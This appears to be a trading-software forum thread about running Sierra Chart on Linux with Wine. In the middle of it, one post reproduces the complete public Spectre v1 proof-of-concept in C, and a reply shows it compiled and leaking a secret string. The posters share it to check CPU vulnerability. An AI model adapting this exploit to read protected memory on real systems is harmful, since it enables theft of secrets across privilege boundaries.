Login Page - Create Account

Support Board


Date/Time: Fri, 29 Mar 2024 06:40:03 +0000



[User Discussion] - Linux

View Count: 71681

[2017-10-28 02:45:42]
Sierra Chart Engineering - Posts: 104368
We are extremely fed up with Microsoft as well, you will not believe the level of problems we have with Visual Studio including preventing two of our systems from starting up and requiring either reinstalling the OS, or correction of the startup files.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. Try to keep your questions brief and to the point. Be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

For the most reliable, advanced, and zero cost futures order routing, *change* to the Teton service:
Sierra Chart Teton Futures Order Routing
Date Time Of Last Edit: 2017-10-28 04:10:22
[2017-10-28 02:54:28]
ertrader - Posts: 636
On my production trading computer, I had to do full reinstall to get working after "creator" update. I frankly cannot imagine the issues MS must pose for SC! Please keep up the fight to make SC as independent as possible from anything MS related.
[2017-10-31 13:21:12]
ganz - Posts: 1048
fyi: https://www.youtube.com/watch?v=AokFgDSLMWU
Date Time Of Last Edit: 2017-10-31 13:21:30
[2017-10-31 18:04:25]
ganz - Posts: 1048
ertrader
I'm a newbie Linux user but I really want this to work.

https://www.techrepublic.com/article/how-to-use-a-ramdisk-on-linux/

http://www.thegeekstuff.com/2010/10/linux-ln-command-examples/

https://wiki.winehq.org/FAQ#Wineprefixes
[2017-10-31 22:29:14]
ganz - Posts: 1048
ertrader

fyi: Graphics performance issue on Linux/Wine
[2017-11-03 21:29:51]
ertrader - Posts: 636
Thank you.
Below are my latest updates. At this point, all issues have been resolved either with simple workarounds or use of alternate solutions.

1) Mint Linux 18.2 working better than expected. Have now installed it on a laptop completely replacing windows (for a non-SC user and feedback is great!)
2) Installed 64 bit Linux version of latest Interactive Brokers standalone software 963.3k. To my surprise, Sierrachart connects to it, downloads data and sends orders! I had spent time installing and testing Windows IB version because I thought SC would need to connect via windows software.
3) Wine 2.0.3 graphics seems to work better than Crossover for Sierrachart. SC works well with both Crossover and Wine 2.0.3
4) TWSStart is an important IB utility for me to restart IB after IB autologs off daily. TWSStart does not work properly with Linux. I contacted the author and he confirmed after testing. He is also considering moving completely to Linux. IBController was recommended and this is what I moved to. It took some doing but is working.
5) Screensave hanging issue was due to driver. Updated to latest Nvidia driver 384.9

Summary to date:
1) To run SC, Wine 2.0.3 works well. Crossover works well too but is not really needed.
2) Use IB TWS 64 Bit Linux version. Windows version works well but is not needed.
3) Use IBController instead of TWSStart if keeping logged into IB is needed
4) For remote control, Teamviewer is working best. Use latest security recommendations.
5) In SC, workaround for mouse left direction drag and drop not working, use ctrl-w and move charts as needed . SC Right direction drag and drop works

CPU usage is higher than on Windows: Wineserver: 24%, Sierrachart: 24%
Date Time Of Last Edit: 2017-11-04 14:36:37
[2017-11-07 01:27:56]
ertrader - Posts: 636
Here is the latest motivation for Linux:
https://www.windowscentral.com/windows-10-fall-creators-update-common-installation-problems-and-fixes
[2017-11-24 00:54:51]
ertrader - Posts: 636
A few updates:
Move to Linux is still progressing. Unfortunately, I've found 1 very annoying issue that has no work around that I have been able to find. Resizing regions using a mouse is not working. Usually, once a study is added, you click and drag a region bigger or smaller (vertically) by selecting the top edge of the region.

I've looked for a menu option to resize but using a mouse appears to be the only way to resize. If there is another way, please update this thread.
[2017-11-24 01:57:54]
Sierra Chart Engineering - Posts: 104368
Try using this method documented here:
Chart Drawing Tools: Adjust Regions

Or this method here:
Working With Charts: Chart Window and Regions
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. Try to keep your questions brief and to the point. Be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

For the most reliable, advanced, and zero cost futures order routing, *change* to the Teton service:
Sierra Chart Teton Futures Order Routing
[2017-11-24 03:12:28]
ertrader - Posts: 636
Yes... thank you works perfectly!
[2017-11-29 15:18:51]
ertrader - Posts: 636
For my production system, below is an explanation of issues and solutions that helped me get through installing Linux. These are not SC related but did slow me down for getting SC up and running in production. There are commercial solutions to solving the problems below but I did not want to purchase them due to cost and prior issues.

Issue 1:
Background: A partition is needed to install Linux. Normally this is done by shrinking the windows partition which provides room for installing Linux.
Issue: Windows 10 pro would not make enough room for Linux despite having 200 gig free. Windows puts hibernation, swap and other system files at the end of the volume. When you attempt to make a partition, if the files are present, you cannot shrink.
Solution: Disable kernel memory dump, hibernation and set page file to zero. Reboot, shrink partition and you are good to go. See the links below for details.

Issue 2:
Background: Windows supports a maximum of 4 partitions on the MBR (Master boot record). This is a legacy partition type.
Issue: There were already 4 partitions in the MBR and I did not want to completely wipe windows and all my files
Solution: 2 of the partitions were identified as recovery partitions. I did not need them and so could remove them (I have a recover CD and regularly back up). For windows computers, diskpart is used to remove partitions and this is what I used. After removing the partitions, Linux installation proceeded without any problems.

Helpful links:
https://answers.microsoft.com/en-us/windows/forum/windows_10-performance/windows-disk-management-unable-to-shrink-c-drive/217c3521-b254-4662-bac9-bc90dc633fab?auth=1
https://www.youtube.com/watch?v=sasa-ZGrYzY
https://helpdeskgeek.com/how-to/diskpart-windows-how-to-use/

Additional updates:
1) Mint Linux 18.2 has been updated to 18.3 with no issues
2) A newer AMD video card is on my production system and is working exceptionally well under Linux.
Date Time Of Last Edit: 2017-11-29 15:27:56
[2018-01-03 15:28:38]
ganz - Posts: 1048
fyi:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5aa90a84589282b87666f92b6c3c917c8080a9bf

https://patchwork.kernel.org/patch/10117465/

This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.

[2018-01-04 22:21:15]
ganz - Posts: 1048
check your CPU :)

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
[2018-01-04 22:30:22]
ganz - Posts: 1048
this one works for me


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
_mm_mfence();
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre
Date Time Of Last Edit: 2018-01-04 22:33:12
[2018-01-05 00:21:02]
user8888 - Posts: 155
Worked fine inside a Linux VM.
very interesting, thanks much ganz



$ lscpu | grep "Model name"
Model name: Intel(R) Xeon(R) CPU E3-1246 v3 @ 3.50GHz

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63='c' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57='W' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72='r' score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64='d' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73='s' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53='S' score=2
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71='q' score=2
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D='m' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69='i' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=' ' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F='O' score=2
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66='f' score=2
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61='a' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65='e' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E='.' score=2

$
Date Time Of Last Edit: 2018-01-05 00:33:49
[2018-01-05 08:37:59]
ganz - Posts: 1048
This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment

ps: https://security-tracker.debian.org/tracker/CVE-2017-5754
[2018-01-05 16:35:48]
ganz - Posts: 1048
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment
Tested on x86_64. The same result. Nothing new for SC in my tests.
[2018-01-06 07:38:23]
user8888 - Posts: 155
'Wine Takes Minor Performance Hit Running Windows Programs On Linux With KPTI'

https://www.phoronix.com/scan.php?page=article&item=linux-kpti-wine&num=1
[2018-01-06 10:08:05]
mountainwolf - Posts: 37
Of course native ELF
code would be the best.

In the meantime SC
runs fairly fine under WiNE,
unfort with high cpu time usage.

Try VirtBox or Xxen or other
hypervisor, cputimewise better.

And last but not least,
Nevermind it's better in
pretty much any respect
(& how could it be otherwise)
one runs LiGNUx by Moral Choice..

These are corporations of monsters.
Inhumane at heart, eVIL in mind.
They do not mind prosecuting best
white & fluffy intellectual iT Elite
with cannibalish criminal justice
or injustice system for profit..

if they never yet tried
to convict you of a felony
& destroy anything for
'unlicensed software',
as they did to me,
consider yourself
to be lucky?

https://youtu.be/yAslGCIHjNk?t=12m10s
https://www.youtube.com/watch?v=eginMQBWII4
https://www.gnu.org/philosophy/copyright-versus-community.en.html

these evil corps
& alike who
foster such crimes
against humanity &
breed this ciVIL wAR
deserve only to be
annihilated from
the face of this
so beautiful & so
wasted planet,
forever & ever,
amen..
Date Time Of Last Edit: 2018-01-06 13:21:53
[2018-01-06 14:23:23]
ganz - Posts: 1048
mountainwolf
you've said nothing. remove your spam, please.
thnx.
[2018-01-23 07:53:50]
Kiwi - Posts: 372
Just updated my Mint 18.3 system to Wine 3.0 (winehq release). Seems good.
[2018-01-23 11:51:30]
ertrader - Posts: 636
I did the same and have no issues
[2018-01-24 22:39:07]
DevTrader79 - Posts: 44
I just tried on Arch-Linux LXDE desktop works without sweat. Install Wine first then (a) download .exe to local folder. (b) Right mouse click "open with wine programloader". (c) will install in default location. (d) Creates icon on desktop. (e) Click the desktop icon and Sierra platform is up. I will attach screenshot for others.
I do use win 7.0. Performance wise Sierra in Linux is little bit faster than Windows. But Win 7.0 is pretty much stable
imageScreenshot from 2018-01-24 16-22-42.png / V - Attached On 2018-01-24 22:36:39 UTC - Size: 1018.55 KB - 1149 views
[2018-03-12 17:54:05]
ertrader - Posts: 636
A few Linux updates:
1)Mint Linux 18.3 and Wine 3.0 working very well for me (performance, stability etc)
2)Updated to SC 1716 64 bit with recompiled custom studies and had no issues

An AMD graphics anomaly with SC seems to be resolved with 64 bit (garbled/overlapping screens after 3 or so hours). In 32 bit, an SC restart was needed to clear. I will continue to watch.

No known new issues. The click and drag tab and click and drag region issues are still present but ctrl-w for arranging tabs and alt-0 for resizing regions methods work fine.
Date Time Of Last Edit: 2018-03-12 18:05:37
[2018-07-02 05:20:17]
User921987 - Posts: 230
FYI
Latest 64b Lubuntu 18.04 (https://lubuntu.net/) with Wine (https://www.winehq.org/) + corefonts (https://wiki.winehq.org/Winetricks) works just fine in my 5y old HP AMD laptop. Wine gives some overhead but it's only +2..3% compared to Windows 10.

btw. Sierra has been the reason why I am still using Windows 10 in my multi monitor desktop workstation and now planning to switch Linux over there too.

Linux is just so much less hassle with forced updates and other suspicious network activity. Everything is configurable and can be turned on or off. Lubuntu is also very lightweight OS leaving resources for the productivity (specially RAM). With wine and mono I still have an option to run windows apps if it is absolutely necessary. In my case thanks to libreoffice (https://www.libreoffice.org/) I don't have any other reason than Sierra why to use windows apps anymore.
Date Time Of Last Edit: 2018-07-29 08:18:49
[2018-07-28 14:00:27]
ertrader - Posts: 636
Great to hear!
A few updates:
1) Update to Mint Linux 19 went without any issues. Performance still excellent.
2) Due to 3X margin requirements on IB IRA accounts, I've moved to FuturePath Trading. They work with ADMIS and I've moved to SC's CTS configuration. This also eliminated the need for an additional application running on my PC (TWS) TWS Linux worked fine but others (TT, Rithmic) were not playing as nice with Linux. The CTS configuration completely eliminates the need for them and is working perfectly.
3) Click and drag is working now
4) Using SC 1781 64 bit. No compiling issues
5) I use Libreoffice as well and is an EXCELLENT office package

https://www.sierrachart.com/index.php?page=doc/CTS_T4.php#SetupInstructionsForAdvancedLowCostConnectionModel

One issue that has been in SC, when replaying, after the first Replay attempt, the speed pull-down menu blanks out and Replay will not work. The first attempt works fine, but I have to restart SC to get it working again.

User106072..do you see this same behavior in Ubuntu? This has been the case as long as I've been working with SC on Mint Linux. I keep hoping the next version of Wine will fix it but not yet.
Date Time Of Last Edit: 2018-07-28 14:05:44

To post a message in this thread, you need to log in with your Sierra Chart account:

Login

Login Page - Create Account